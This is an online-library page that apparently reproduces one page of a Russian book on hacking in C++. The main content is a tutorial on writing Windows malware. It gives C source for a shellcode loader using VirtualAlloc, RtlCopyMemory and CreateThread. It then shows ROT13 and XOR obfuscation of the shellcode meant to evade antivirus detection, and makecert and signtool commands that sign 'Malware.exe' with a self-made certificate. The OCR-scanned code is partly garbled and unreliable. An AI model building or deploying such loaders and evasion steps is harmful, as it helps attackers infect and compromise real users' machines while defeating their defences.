Библиотека knigago >> Компьютеры и Интернет >> Учебники и самоучители по компьютеру >> Хакинг на С++


СЛУЧАЙНЫЙ КОММЕНТАРИЙ

# 1813, книга: Записки из Города Призраков
автор: Кейт Эллисон

"Записки из Города Призраков" Кейт Эллисон — это захватывающий и леденящий кровь триллер, который увлечет вас с первой до последней страницы. История разворачивается в жутком и изолированном городе-призраке под названием Фордж, где бесследно исчезает молодая женщина. Когда частного детектива Фрэнка Троттера нанимают для расследования, он оказывается втянут в запутанный водоворот тайн и жутких открытий. Эллисон мастерски создает атмосферу напряжения и саспенса, которая пронизывает...

СЛУЧАЙНАЯ КНИГА

А. А. Ярошенко - Хакинг на С++

Хакинг на С++
Книга - Хакинг на С++.  А. А. Ярошенко  - прочитать полностью в библиотеке КнигаГо
Название:
Хакинг на С++
А. А. Ярошенко

Жанр:

Учебники и самоучители по компьютеру

Изадано в серии:

неизвестно

Издательство:

неизвестно

Год издания:

-

ISBN:

неизвестно

Отзывы:

Комментировать

Рейтинг:

Поделись книгой с друзьями!

Помощь сайту: донат на оплату сервера

Краткое содержание книги "Хакинг на С++"


Читаем онлайн "Хакинг на С++". [Страница - 9]

массива char включает приведение этого массива
к указателю на такую функцию:
void (*func) ();
func = (void (*) ()) code;
func ();

Однако мы обнаружили, что невозможно выполнить данные в стеке из-за
механизмов предотвращения выполнения данных (особенно данные в стеке
защищены от выполнения). Хотя этого легко добиться с помощью GCC (с
флагами -fno-stack-protector и -z execstack), мне не удалось сделать это с по­
мощью Visual Studio и компилятора MSVC.

...

Примечание. Выполнение шелл-кода в приложении может по­
казаться бессмысленным, тем более что мы можем просто реа­
лизовать его возможности на С/С++. Однако бывают ситуации,
когда необходимо реализовать собственный загрузчик или ин­
жектор шелл-кода (например, для запуска шелл-кода, сгенери•
. . ... . -

---. - ----·-- ....... - ................ -� ................ -. -......... -....... .

1 1.111.1 S l'a 1paii1111..:а На/11·ш·1•

рованного другим инструментом). Помимо выполнения извест­
ного вредоносного кода (например, шелл-кода Metasploit), это
хорошая проверка концепции для проверки механизмов обна­
ружения и обхода.

8.4. Выполнение шелл-кода
Фактический способ выполнения шелл-кода немного отличается. Нам
нужно:
• Выделить новую область памяти с помощью функции Windows API
VirtualAlloc (или VirtualAllocEx для удаленных процессов);
• Заполнить ее байтами шелл-кода (например, с помощью функции
RtlCopyMemory, которая по сути является оболочкой memcpy);
• Создать новый поток с помощью
CreateRemoteThread соответственно.

функции CreateThread или

Шелл-код также может быть выполнен с использованием массива символов
для приведения указателя на функцию, если область памяти, в которой на­
ходится шелл-код, помечена как исполняемая.
Исходный код такого приложения будет выглядеть так:
##include
void main()
{
// Вставьте сюда сгенерированный шелл-код
const char shellcode [] = "\xfc\xe8\x82 (...) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode,
MEM_COММITIMEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = CreateThread(NULL, О,
(PTHREAD_START_ROUTINE)shellcode_exec, NULL, О, &threadID);
WaitForSingleObject(hThread, INFINITE);



·----------------------··---·----·--·---···---·--------·-------··---·-------···-··-IZ!il

\:а,,11111 11а ( ++

Итак, мы только что написали малварь. Попробуем "прогнать" его через
VirusTotal. Мы увидите, что у нашего вредоноса довольно большой процент
обнаружения. Далее мы попытаемся запутать код.

8.5. Запутываем код
Первое, что приходит на ум, это изменить шелл-код, чтобы избежать стати­
ческих подписей на основе его содержимого.
Мы можем попробовать самое простое "шифрование" - применить шифр
ROT 13 ко всем байтам встроенного шелл-кода- так Ох41 станет Ох54, OxFF
станет ОхОС и так далее. Во время выполнения шелл-код будет "расшифро­
ван" путем вычитания значения OxOD (13) из каждого байта.
Код выглядит следующим образом:
##include
void main ()
const char shellcode[] = "\x09\xf5\x8f ( ... ) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode,
MEM_COMMITIMEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
for (int i = О; i < sizeof shellcode; i++)
{
((char*)shellcode ехес)[i] = (((char*)shellcode_exec) [i]) - 13;
HANDLE hThread = CreateThread(NULL, О,
(PTHREAD_START_ROUTINE)shellcode ехес, NULL, О, &threadID);
WaitForSingleObject(hThread, INFINITE);

Мы также можем использовать шифрование XOR (с постоянным однобайто­
вым ключом) вместо шифра Цезаря:
for (int i = О; i < sizeof shellcode; i++)
{
((char*)shellcode ехес) [i] = (((char*)shellcode_exec) [i]) л '\х35';

...................................................................................

,

1 1,1в,1:,; l'a 1paiio11,а \lа/н•ш·с

Снова откомпилируйте вредонос и пропустите его через VirusTotal. Вы уви­
дите, что нам это особо не помогло и количество антивирусов, которые об­
наруживают вредоносный код, не уменьшилось.
Мы можем обмануть антивирусы посредством подписания нашего кода сер­
тификатом. Некоторые механизмы обнаружения вредоносных программ мо­
гут помечать неподписанные двоичные файлы как подозрительные. Давайте
создадим инфраструктуру подписи кода - нам понадобится центр сертифи­
кации и сертификат подписи кода:
makecert -r -ре -n "CN=Malwr СА" -ss СА -sr CurrentUser -а sha256 -су
authority -sky signature -sv MalwrCA.pvk MalwrCA.cer
certutil -user -addstore Root MalwrCA.cer
makecert -ре -n "CN=Malwr Cert" -а sha256 -су end -sky signature -ic
MalwrCA.cer -iv MalwrCA.pvk -sv MalwrCert.pvk MalwrCert.cer
pvk2pfx -pvk MalwrCert.pvk -spc MalwrCert.cer -pfx MalwrCert.pfx
signtool sign /v /f MalwrCert.pfx /t
http://timestamp.verisign.com/scripts/timstamp.dll Malware.exe

После выполнения вышеуказанных команд мы создали центр сертификации
"Malwr", импортировали его в наше хранилище сертификатов, создали сер­
тификат для подписи кода в формате .pfx и использовали его для подписи
исполняемого --">

Оставить комментарий:


Ваш e-mail является приватным и не будет опубликован в комментарии.

Книги схожие с «Хакинг на С++» по жанру, серии, автору или названию: